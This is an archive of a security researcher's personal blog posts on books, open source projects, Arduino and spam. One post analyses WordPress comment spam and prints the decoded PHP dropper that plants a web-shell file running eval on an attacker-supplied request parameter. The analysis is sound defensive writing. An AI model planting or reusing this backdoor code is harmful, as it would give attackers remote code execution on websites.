terriko: (Default)
2014-08-18 09:23 pm
Entry tags:

Book review: Stormdancer

I haven't really kept up on reviewing much of anything lately, even though I still read lots of books and try makeup and stuff, but life is busy and I'm pretty sure I'm less likely to regret missed reviews than I will other things, so I don't feel that guilty.

That said, here's a book review:

Stormdancer (The Lotus War Book One) by Jay…
Stormdancer (The Lotus War Book One)
by Jay Kristoff

It was a snippet describing this book as "Japanese Steampunk" that made me curious enough to request this from the library. I'd personally describe it more as "feudal Japanese dystopia" than steampunk, but I seem to have a penchant dystopian young adult stuff, so that works out ok for me. There are some robot-suits and flying machines so it fits the bill if you're looking for steampunk rooted in something other than victorian England culture. Frankly, it's worth a read just for that cultural quirk, although the technical-cultural aspects are barely touched upon in this volume.

Stormdance is mostly the tale of Yukiko, daughter of the famed "Black Fox" -- a hunter whom the shogun has sent on what seems a fool's errand: he is to find and bring back a "thunder tiger" (griffon) in a land that is so polluted and poisoned that there are barely any animals left. As Yukiko accompanies the hunters on their quest, the way she sees her father, other people, and the world winds up irrevocably changed, and she soon finds herself on a quest of her own...

I admit, I found this one a bit hard to get into: it starts with lengthy descriptions and more Japanese-style pacing than I'm used to in my young adult novels, and I found having to learn terminology sent me on enough tangential trips to the glossary that I had trouble immersing myself. But once I did, it's a great story with a few great characters and a fascinating world.
terriko: I am a serious academic (Twlight Sparkle looking confused) (Serious Academic)
2014-05-30 10:05 pm
Entry tags:

You can leave academia, but you can't get the academic spam out of your inbox

When I used to do research on spam, I wound up spending a lot of time listening to people's little pet theories. One that came up plenty was "oh, I just never post my email address on the internet" which is fine enough as a strategy depending on what you do, but is rather infeasible for academics who want to publish, as custom says we've got to put our email addresses on the paper. This leads to a lot of really awesome contacts with other researchers around the world, but sometimes it leads to stuff like the email I got today:

Dear Terri,

As stated by the Carleton University's electronic repository, you authored the work entitled "Simple Security Policy for the Web" in the framework of your postgraduate degree.

We are currently planning publications in this subject field, and we would be glad to know whether you would be interested in publishing the above mentioned work with us.

LAP LAMBERT Academic Publishing is a member of an international publishing group, which has almost 10 years of experience in the publication of high-quality research works from well-known institutions across the globe.

Besides producing printed scientific books, we also market them actively through more than 80,000 booksellers.

Kindly confirm your interest in receiving more detailed information in this respect.

I am looking forward to hearing from you.

Best regards,
Sarah Lynch
Acquisition Editor

LAP LAMBERT Academic Publishing is a trademark of OmniScriptum
GmbH & Co. KG

Heinrich-Böcking-Str. 6-8, 66121, Saarbrücken, Germany
s.lynch(at)lap-publishing.com / www. lap-publishing .com

Handelsregister Amtsgericht Saarbrücken HRA 10356
Identification Number (Verkehrsnummer): 13955
Partner with unlimited liability: VDM Management GmbH
Handelsregister Amtsgericht Saarbrücken HRB 18918
Managing director: Thorsten Ohm (CEO)

Well, I guess it's better than the many mispelled emails I get offering to let me buy a degree (I am *so* not the target audience for that, thanks), and at least it's not incredibly crappy conference spam. In fact, I'd never heard of this before, so I did a bit of searching.

Let's just post a few of the summaries from that search:

From wikipedia:
The Australian Higher Education Research Data Collection (HERDC) explicitly excludes the books by VDM Verlag and Lambert Academic Publishing from ...

From the well-titled Lambert Academic Publishing (or How Not to Publish Your Thesis):
Lambert Academic Publishing (LAP) is an imprint of Verlag Dr Muller (VDM), a publisher infamous for selling cobbled-together "books" made ...

And most amusingly, the reason I've included the phrase "academic spam" in the title:
I was contacted today by a representative of Lambert Academic Publishing requesting that I change the title of my blog post "Academic Spam", ...

So yeah, no. My thesis is already published, thanks, and Simple Security Policy for the Web is freely available on the web for probably obvious reasons. I never did convert the darned thing to html, though, which is mildly unfortunate in context!
terriko: (Default)
2014-05-30 08:34 pm
Entry tags:

PlanetPlanet vs iPython Notebook [RESOLVED: see below]

Short version:

I'd like some help figuring out why RSS feeds that include iPython notebook contents (or more specifically, the CSS from iPython notebooks) are showing up as really messed up in the PythonPython blog aggregator. See the Python summer of code aggregator and search for a MNE-Python post to see an example of what's going wrong.

Bigger context:

One of the things we ask of Python's Google Summer of Code students is regular blog posts. This is a way of encouraging them to be public about their discoveries and share their process and thoughts with the wider Python community. It's also very helpful to me as an org admin, since it makes it easier for me to share and promote the students' work. It also helps me keep track of everyone's projects without burning myself out trying to keep up with a huge number of mailing lists for each "sub-org" under the Python umbrella. Python sponsors not only students to work on the language itself, but also for projects that make heavy use of Python. In 2014, we have around 20 sub-orgs, so that's a lot of mailing lists!

One of the tools I use is PythonPython, software often used for making free software "planets" or blog aggregators. It's easy to use and run, and while it's old, it doesn't require me to install and run an entire larger framework which I would then have to keep up to date. It's basically making a static page using a shell script run by a cron job. From a security perspective, all I have to worry about is that my students will post something terrible that then gets aggregated, but I'd have to worry about that no matter what blogroll software I used.

But for some reason, this year we've had some problems with some feeds, and it *looks* like the problem is specifically that PlanetPlanet can't handle iPython notebook formatted stuff in a blog post. This is pretty awkward, as iPython notebook is an awesome tool that I think we should be encouraging students to use for experimenting in Python, and it really irks me that it's not working. It looks like Chrome and Firefox parse the feed reasonably, which makes me think that somehow PlanetPlanet is the thing that's losing a <style> tag somewhere. The blogs in question seem to be on blogger, so it's also possible that it's google that's munging the stylesheet in a way that planetplanet doesn't parse.

I don't suppose this bug sounds familiar to anyone? I did some quick googling, but unfortunately the terms are all sufficiently popular when used together that I didn't find any reference to this bug. I was hoping for a quick fix from someone else, but I don't mind hacking PlanetPlanet myself if that's what it takes.

Anyone got a suggestion of where to start on a fix?

Edit: Just because I saw someone linking this on twitter, I'll update in the main post: tried Mary's suggestion of Planet Venus (see comments below) out on Monday and it seems to have done the trick, so hurrah!
terriko: (Default)
2014-04-26 11:33 am
Entry tags:

Mailman 3.0 Suite Beta!

I'm happy to say that...

Mailman logo

Mailman 3.0 suite is now in beta!

As many of you know, Mailman's been my open source project of choice for a good many years. It's the most popular open source mailing list manager with millions of users worldwide, and it's been quietly undergoing a complete re-write and re-working for version 3.0 over the past few years. I'm super excited to have it at the point where more people can really start trying it out. We've divided it into several pieces: the core, which sends the mails, the web interface that handles web-based subscriptions and settings, and the new web archiver, plus there's a set of scripts to bundle them all together. (Announcement post with all the links.)

While I've done more work on the web interface and a little on the core, I'm most excited for the world to see the archiver, which is a really huge and beautiful change from the older pipermail. The new archiver is called Hyperkitty, and it's a huge change for Mailman.

You can take a look at hyperkitty live on the fedora mailing list archives if you're curious! I'll bet it'll make you want your other open source lists to convert to Mailman 3 sooner rather than later. Plus, on top of being already cool, it's much easier to work with and extend than the old pipermail, so if you've always wanted to view your lists in some new and cool way, you can dust off your django skills and join the team!

Hyperkitty logo

Do remember that the suite is in beta, so there's still some bugs to fix and probably a few features to add, but we do know that people are running Mailman 3 live on some lists, so it's reasonably safe to use if you want to try it out on some smaller lists. In theory, it can co-exist with Mailman 2, but I admit I haven't tried that out yet. I will be trying it, though: I'm hoping to switch some of my own lists over soon, but probably not for a couple of weeks due to other life commitments.

So yeah, that's what I did at the PyCon sprints this year. Pretty cool, eh?
terriko: (Default)
2014-03-29 12:33 pm

Sparkfun's Arduino Day Sale: looking for inspriation!

Arduino Day 2014

Sparkfun has a bunch of Arduinos on crazy sale today, and they're allowing backorders. It's a one day sale, ending just before midnight US mountain time, so you've still got time to buy your own! Those $3 minis are amazing.

I wound up buying the maximum amount I could, since I figure if I don't use them myself, they'll make nice presents. I have plans for two of the mini ones already, as part of one of my rainy day projects that's only a little past drawing board and into "let's practice arduino coding and reading sensor data" stage. But the rest are waiting for new plans!

I feel a teensy bit guilty about buying so many arduinos when I haven't even found a good use for the Raspberry Pi I got at PyCon last year. I did buy it a pretty rainbow case and a cable, but my original plan to use it as the brains for a homemade cnc machine got scuttled when John went and bought a nice handybot cnc router.

disassembled pibow case
A pretty picture of the pibow rainbow raspberry pi case from this most excellent post about it. They're on sale today too if you order through pimoroni

I've got a few arty projects with light that might be fun, but I kind of wanted to do something a bit more useful with it. Besides, I've got some arty blinky-light etextile projects that are going to happen first and by the time I'm done those I think I'll want something different.

And then there's the Galileo, which obviously is a big deal at work right now. One of the unexpected perks of my job is the maker community -- I've been hearing all about the cool things people have tried with their dev boards and seeing cool projects, and for a while we even had a biweekly meet-up going to chat with some of the local Hillsboro makers. I joined too late to get a chance at a board from the internal program, but I'll likely be picking one up up on my own dime once I've figured out how I'm going to use it! (John already has one and the case he made for it came off the 3d printer this morning and I'm jealous!)

So... I'm looking for inspiration: what's the neatest arduino/raspberry pi/galileo/etc. project you've seen lately?
terriko: (Default)
2014-03-01 10:39 pm

Google Summer of Code: What do I do next?

Python's in as a mentoring organization again this year, and I'm running the show again this year. Exciting and exhausting!

In an attempt to cut down on the student questions that go directly to me, I made a flow chart of "what to do next" :


(there's also a more accessible version posted at the bottom of our ideas page)

I am amused to tell you all that it's already cut down significantly on the amount of "what do I do next?" emails I've gotten as an org admin compared to this time last year. I'm not sure if it's because it's more eye-catching or better placed or what makes it more effective, since those instructions could be found in the section for students before. We'll see its magical powers hold once the student application period opens, though!
terriko: (Default)
2014-02-09 09:52 am

The naming of things

My former hackerspace, in fundraising for the new space, offered up a reward tier that let you name one of the rooms, which was a pretty fun perk. "My" room is going to be #16 on this map, the larger of the two electronics labs:


Being the sort of person I am, I named it the "Pink Fluffy Unicorn Dancing on Rainbows Laboratory" thanks to this earwormy video. (Original song here, punk version here.)

They can call it PFUDOR labs for short or something. I actually proposed it as a joke when the campaign first was getting set up, but it got so many laughs that I decided it was actually kind of fun to have a name that really didn't take itself too seriously.

A few days after I made the official declaration, I got an email from an adult male friend there, bemoaning my choice of names in a gentle, joking, but also a little bit sincere way.

He is a friend and I don't want to mock his words in public, but I saw the email and thought THIS IS HOW I KNOW I HAVE CHOSEN THE RIGHT NAME. If this even a little hurts the manhood of even someone who knows me and my sense of humour, then you know that the anti-girly sentiment often prevalent in hacklabs is going to be rankled by this for as long as the space lasts. So now not only do I get to earworm my friends, but I run the risk of affronting people who haven't quite dealt with their own minor misogyny? And maybe give the hacklab an excuse to fill a space with rainbows, with all the connotations thereof? That actually kind of sounds like a bigger social win than I was intending, but maybe, just maybe, it'll combine with the already excellent people at Quelab to help keep the space as friendly and fun as it can be.

So next up I'm going to be buying a friend's pony patterns, a bunch of stuff from adafruit, some fabric, and I'll be making a hilarious e-textile pony with glowing rainbow neopixels to go in the space. Because I am not very subtle. ;)
terriko: (Default)
2013-10-24 12:07 am
Entry tags:

The Science of Household Tips: Does vinegar actually set dye in jeans?

When I bought my latest pair of jeans, the nice lady who helped me find them advised me to wash them with a cup of vinegar the first time, to better set the dye. I didn't think much of it, until I wore the jeans before washing them and ended up with mildly blue thighs. So clearly pre-washing would have been a good idea, but.. does vinegar actually set dye?

Googling this mostly turned up a bunch of people parroting the same tip. Which would be reassuring if I didn't know that the internet is a sucker for feasible-sounding tips regardless of they make sense or work. (Witness: Pinterest vs Pinstrosity)

My research turned up the following claims, from the ever-reputable source of "people on the internet"

1. Vinegar totally helps set dye in jeans
2. Vinegar totally helps set dye... but not in cotton, so you're wasting your time with jeans.
3. For jeans, you should really use salt, not vinegar
4. Actually, you shouldn't wash jeans at all
5. It doesn't matter, but for the love of all that is blue, wash your jeans in cold water
6. You need to wash your jeans inside-out
7. Mine totally leaked dye so I gave them away and bought new ones!

But 0% of these came with sources that gave me any indication if these were really legit or just old wives tales. I don't need scientific journal papers, but you'd think there'd at least be a science fair project or tests from some sort of cross between consumer reports and good housekeeping.

So where do you go for figuring out if there's actually any proof behind household tips like this?
terriko: (Default)
2013-10-17 05:23 pm

I'm joining Intel's Open Source Technology Center!

I'm pleased to announce that I will be joining Intel's Open Source Technology Center (OTC), starting October 21st.

This is a big transition for me: not only have I physically moved to the Portland area from Albuquerque, but I'm also moving from academia to industry. However, I'm not moving away from either security or research: my official job title is "Security Researcher - Software Security Engineer."

There are lots of crazy smart people at Intel, especially at OTC, and I'm really excited (and a little scared!) about joining their ranks. This is exactly the job I wanted: I'll be doing security in an open source context (not only behind closed doors!), working with interesting people on interesting projects, and I'll be positioned such that my work can have an impact on the state of computer security in a global sense. It sounds like I'll be working primarily on web and Android security, which is challenging, fascinating, intimidating, and highly important. Wish me luck!
terriko: (Default)
2013-10-17 03:32 pm
Entry tags:

Book review code

One of the things that bugs me when I'm doing book reviews is that I prefer it when reviews have a picture of the cover and link to the book of some sort, but I didn't love the output from Amazon's referal link generator, which would have been the easiest solution. I've been doing it manually, but that's a lot of cut and pasting and I kind of abhor doing tasks that are easy to automate.

Thankfully, I'm a coder and a user of greasemonkey, so I have all the skills I need to automate it. Seriously, being able to tweak web pages to suit my own needs is the greatest thing.

In the spirit of sharing, here's the script I'm using to generate the code I wanted for my reviews using the book page on LibraryThing:

// ==UserScript==
// @name        Book review header generator
// @namespace   tko-bookreview
// @description Takes any librarything book page and gives me a nice link to the book with cover and author details
// @include     http://www.librarything.com/work/*
// @version     1
// @grant       none
// ==/UserScript==

// Get all the data we'd like to display at the top of a review
var coverimage = document.getElementById('mainCover').outerHTML;
var title = document.getElementsByTagName('h1')[0].innerHTML;
var author = document.getElementsByTagName('h2')[0].innerHTML;
var librarythinglink = document.URL; 

// Trim down the title and author info
title = title.replace(/ *<span .*<\/span>/, '');

author = author.replace(/href="/, 'href="http://www.librarything.com');
author = author.replace(/<hr>/, '');

// Generate the code for this book
var reviewheader = '<a href="' + librarythinglink + '">' + 
   coverimage + '<br />' +
   '<b>' + title + '</b></a> ' +
   '<em>' + author + '</em>';

// Add code around this for embedding it into the page
var textbox = '<h4>Review Code</h4>' +
	'<textarea name="embedHTML" onFocus="this.select();" rows="5" ' + 
	'style="width: 250px;" wrap="virtual">' + reviewheader + '</textarea>';

// Find a good spot and add it to the page
var insert = document.getElementsByClassName('gap')[0];
insert.outerHTML =  textbox + insert.outerHTML;

Please feel free to consider this open sourced and free for any type of use: alter it to suit your needs as you will!

Edit: Github link, for those so inclined.
terriko: (Default)
2013-07-14 12:42 pm
Entry tags:

Mailman Virtual Hackathon

We're having a mailman virtual hackathon right now on #mailman on freenode. The plan is to run 'till around 2300 UTC today, so another 4h or so. Link for figuring out what that means in your time zone.

We're doing a variety of things: bug triage and fixing, discussion of architecture, new feature development, helping each other with any blocking problems, spouting off crazy new ideas, code review and merging, etc. We're especially hoping to make sure we clear any issues we can relating to GSoC projects, but there's plenty of work to go around. New folk are welcome too.

If you don't read this 'till after the fact, don't despair! There will likely be another such hackathon next Sunday, July 21. Keep an eye on the mailman-developers list for more details.
terriko: (Default)
2013-07-10 12:01 pm
Entry tags:

My oversensitive touchpad

This is more a note to self than anything else, but who knows, maybe someone reading is having exactly the same problem as me?

The "new" laptop has an overly sensitive touchpad, in that it seemed to be clicking at times when I didn't want it to click. While quite a few people handle this by disabling the touchpad or disabling tap-to-click, I knew from experience with my last linux laptop that this is a solvable problem under linux at least.

There's a *lot* of ways to control mouse settings, but here's the one that worked for me. In short:

xinput list
to find my touchpad device, which turned out to be id=12

xinput list-props 12 |grep -i finger
to give me a list of relevant entries

xinput set-prop 12 "Synaptics Finger" 25, 32, 256

to set it to something that seems better behaved.
According to the link above: "By increasing the second parameter, you require more finger pressure for the trackpad to respond. The first parameter controls release pressure, the third is to detect a button press (I think)."

and that seemed to match up. In my case, I needed to up the second number. While I was in there, I tweaked the two-finger settings so it'd be easier to "right click" with two fingers.

Lest it's useful to me later, here's my current settings:
terri@djpwn3:~$ xinput list-props 12 |grep -i finger
Synaptics Finger (261): 25, 32, 256
Synaptics Two-Finger Pressure (268): 256
Synaptics Two-Finger Width (269): 1
Synaptics Two-Finger Scrolling (272): 1, 1
terriko: (Default)
2013-07-10 12:20 am
Entry tags:

Google Hangouts/XMPP Server does not use any supported authentication method

With all the noise about google switching away from XMPP, I was pretty concerned when Pidgin stopped connecting to Google Hangouts (aka gtalk or xmpp) with the following error:

"Server does not use any supported authentication method"

I wasted some time updating things hoping that would solve it before I finally figured out my problem: It wsn't google changing things at all; it was me. I'd changed the hostname of my (relatively new) laptop. But what I hadn't done was put the new hostname into /etc/hosts under A quick edit later, and the newly christened laptop is back on the air.

I found the solution here, but I had to dig for it a bit so I'm puting up this post that shortcuts to the answer without the debugging, just in case anyone else runs into this one and needs help.
terriko: (Default)
2013-06-09 10:07 pm
Entry tags:

Python student blogs

One of the things that Python asks of all students under our "umbrella" is that they blog regularly about their projects. This helps me keep track of how all the students are doing, and helps advertise the interesting work they'll be doing to a larger community. I've set up a blog aggregator here for Python's Summer of Code Updates and you can see that folk are already talking about their projects as they settle in.

Coding starts June 17th. Here's to a great summer!
terriko: (Pi)
2013-06-09 06:18 pm
Entry tags:

Welcome Summer of Code 2013 students!

The Python Software Foundation has 36 Google Summer of Code students starting next week!

If you'd like to learn more about any of the student projects as they were proposed, you can also see the list and descriptions on the GSoC Website. But here's a list, grouped by project:

Core Python
Phil Webster, IDLE Improvements
Jayakrishnan Rajagopalasarma, IDLE Improvements

Ksenija Bestuzheva, ASCEND: dynamic modelling improvements
Pallav Tinna, Porting to gtk3 and GUI improvements

Madhura Parikh, Astropy: Develop the Astroquery toolkit into a coherent package
Axel Donath, AstroPy: Extending the functionality of the photutils package.

GNU Mailman
Manish Gill, Mailman: Authenticated REST-API in Postorius/Django.
Abhilash Raj, GNU Mailman - Integration of OpenPGP

Abhinav, Kivy: Kivy Designer
Ivan Pusic, PyOBJus

Mainak Jas, Real-time Machine Learning for MEG in MNE-Python
Roman Goj, MNE-Python: Implement time-frequency beamformers

David Lu, Data Driven Mentorship App
Tarashish Mishra, OpenHatch: Rewrite training missions using oppia (Training missions, version 2)

Tarun Gaba, PyDy: Visualization of the simulated motion of multibody systems
Tyler Wade, wxPython Bindings for PyPy using CFFI

Manuel Jacob, Implementing Python 3.3 features for PyPy

Andraž Brodnik, Better Debug tools
Domen Kožar, Substance D improvements

Juhani Åhman, PySoy: Improve Android and HTML5 Soy clients

Chintak Sheth, scikit-image: Image Inpainting for Restoration
Marc de Klerk, scikit-image: Segmentation Algorithms as a basis for an OpenCL feasible study
Ankit Agrawal, scikit-image : Implementation of STAR and Binary Feature Detectors and Descriptors

Kemal Eren, scikit-learn: Biclustering algorithms, scoring, and data generation
Nicolas Trésegnie, Scikit-learn : online low rank matrix completion

Surya Kasturi, SciPy: Improving functionality and Maintainability of SciPy Central
Arink Verma, SciPy/NumPy : Performance parity between numpy arrays and Python scalars
Blake Griffith, Improvements to the sparse package of Scipy: support for bool dtype and better interaction with NumPy

Ankit Mahato, SfePy: Enhancing the solver to simulate solid-liquid phase change phenomenon in convective-diffusive situations

Ana Martínez Pardo, Statsmodels: Discrete choice models
Chad Fulton, Statsmodels: Time Series Analysis Extensions (esp. regime-switching models)

Michael J. Malocha, SunPy - Interfacing with Heliocphysics Databases
Simon Liedtke, SunPy: Database of local data

Mark Berger, Upload Strategy of Happiness in Tahoe-LAFS

Shiyao Ma,Twisted: Switching to Formal Parsers
Kai Zhang,Twisted: Deferred Cancellation

We had a great number of talented applicants and I only wish we'd been able to take more of them. Congratulations to those accepted and to the rest of you, I hope you'll apply again next year!
terriko: (Default)
2013-06-06 11:40 pm
Entry tags:

"gonna go to the place that's the best"

The MRI was unintentionally hilarious. I'd just gotten moved into my magical science magneto-coffin and told I couldn't move anymore then what comes on the headphones but spirit in the sky.

"When I die and they lay me to rest
Gonna go to the place that's the best"

Oy, it was hard not to laugh to that while lying still on a slab holding my emergency "get me out of here" button. (which isn't a button so much as an old-school camera bulb!)

Anyhow, other than that it was loud (as expected) but not as boring as I'd thought it would be because the noises it makes change often enough to keep me thinking about what might be going on in there, and honestly, just staying still for 20 minutes takes a fair bit of concentration for me. Plus I had the headphones and 70's rock to keep me amused (that was my choice and *clearly* it was the right one). Sometimes I had to just focus on the cowbell to stay still, because apparently that is how I work. The headphones are kind of cool -- rather than wires, they've got tubes filled with music and occasional instructions from the radiologist.

I won't have results 'till sometime next week; I presume the doctor will phone me like she did last time. I'm hoping I can get copies of the MRI and Xrays so I can see my innards, 'cause how cool would that be?

A twitter friend suggested I should make a list of #innappropriateMRIsongs, so in that vein, I give you Mystery and Crime:

Oh no, what have I done?
Oh no, what have I done?
I've got a pain in my heart
A beat that's as loud as a drum
Now, now what do I do?
Now, now what do I do?
You got to get me out of here
Before these brand new clothes aren't new anymore

And that's not even getting to the murder murder murder part that's the usual reason this is a totally inappropriate song for all occasions. (I once had to stop myself from singing it in an airport...)

I dare you all to think of more inappropriate MRI songs, but I'm going to bed!
terriko: (Default)
2013-05-06 01:57 pm

Falling down the rabbit hole: An analysis of some questionable blog spam

WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.

So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:


Or this clearly related one (note that the top of the string is the same):


As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).

Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:

>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1*/?>');fclose($f);}"

(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)

So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.

But that code? Still looks pretty much like gobbledegook.

If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:


Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:


You might think we're getting close now, but here's what you get out of decoding that:

>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y'/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"

Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.

Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.

Here's what it looks like without the comments:


So let's stick together those concatenated strings again:


Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?

It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=

Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.

But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!

Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!
terriko: (Pi)
2013-05-06 11:35 am

Remove 80% of your blog comment spam by blocking IPTelligent!

I maintain a couple of blogs outside of this one, and the most popular one I'm involved with gets a lot of spam. There seemed to be a particular uptick about a month back, and I went to look into it.

What I discovered is that quite a lot of our spam (around 80%) was coming from one company called IPTelligent LLC. There's no easy way for me to tell if they are a legit company who simply have the worst IT staff in the history of IT staffs and all of their machines are compromised, or if they are, in fact, evil jerks who are repeatedly attempting to pollute the internet with really terrible spam. Given a short websearch, it seems pretty likely that IPTelligent is intentionally evil. I suppose one could argue that the level of incompetence displayed by someone who not only runs that many compromised machines but also serves up malware consistently is a form of evil even if it wasn't intentional. Whatever.

Either way, they are responsible for a rather large percentage of the spam we were receiving, and not responsible for any legit visits that we could see.

Since this particular blog uses Wordpress, solving the problem was pretty simple. Wordpress has built in lists for blocking comments, but they simply send to the moderation queue, as does popular plugin Akismet. Since we were seeing hundreds of messages per day from IPTelligent, I needed something that banned them more completely so our moderators wouldn't even see the messages and have to scan through them. Thankfully, there are lots of plugins for this. I settled on one called wp-ban that seems to be working well for my needs.

Once that's installed, the settings are under Settings->Ban. At the top of my list, I now have

# IPTelligent owns these ips, and they seem to be a spam company

Which covers the majority of the IP that were hitting us with spam. A glance at a more specific list of IPTelligent IPs suggests that those lines are good enough right now, although it's possible that they'll buy more IP blocks eventually. (We also have a longer list of other ips that appear to be compromised and were causing problems, but they look more like temporary compromises than intentional, long-term malice so I'm not listing those IPs here).

Of course, it would be better if someone took the company to court for this. I am not a lawyer, but it seems to me that the Computer Fraud and Abuse Act must cover at least some portion of their activities. I mean, the things they charged Aaron Swartz with under that act seem less sketchy than what IPTelligent is doing. But court cases take time and money, and banning them right now is pretty easy, so I figured I'd share the short-term solution in case it's useful to anyone who'd like to get a little less spam right away. (We are indeed getting ~80% less spam since the bans went into place.)

For the record, here's the company info as I get from the whois database right now:

OrgName:        IPTelligent LLC
OrgId:          IPTEL-1
Address:        2115 NW 22nd Street
Address:        #C110
City:           Miami
StateProv:      FL
PostalCode:     33142
Country:        US
RegDate:        2009-03-31
Updated:        2012-07-16
Ref:            http://whois.arin.net/rest/org/IPTEL-1

ReferralServer: rwhois://rwhois.iptelligent.com:4321

OrgNOCHandle: NOC3572-ARIN
OrgNOCName:   Network Operations Center
OrgNOCPhone:  +1-888-638-5893
OrgNOCEmail:  sysop@iptelligent.com
OrgNOCRef:    http://whois.arin.net/rest/poc/NOC3572-ARIN
terriko: (Pi)
2013-04-25 05:07 pm
Entry tags:

Two interview questions I enjoyed

There's a longer, friends-locked post before this one talking about the interviews I had this week, but it occurs to me that the more general public might get a kick out of the two interview questions that most amused me:

My new favourite interview question:

Given this code...

if ( X ) 

What do you need to insert in place of X in order to get this code to print "helloworld" ?

And the second one:

If you're in a room with a light bulb that's on, how can you make it be off?

(This was asked shortly after they told me they were asking to see if I had the security mindset, which is a pretty huge clue as to the types of answers they were hoping to hear. I had a lot of fun with this.)

I am leaving my answers out of this post so that you can think about the possibilities yourselves, but of course feel free to discuss in the comments.
terriko: (Pi)
2013-04-21 06:04 pm
Entry tags:

Finding the best thing (without reading all the reviews)

I know geeks are stereotypically supposed to love drooling over new technology and comparing specs and stuff, but that's never really been my scene. There are things I care about enough to do research on, things I have particular requirements for that I want to meet, and then there's everything else. I don't want to buy/download/use crap, and I don't want to read breathless review after breathless review.

So I was really excited to hear about The Wirecutter, which purports to just list off the best thing (with a few alternatives) in various classes of things.

It's interesting, too, that it's got stuff like the big wait sign on this page right now which tells you that new stuff is coming so if you're not desperate, you might as well wait 'till they've been able to review the new things. Makes me feel a lot more reassured about the freshness of their information.

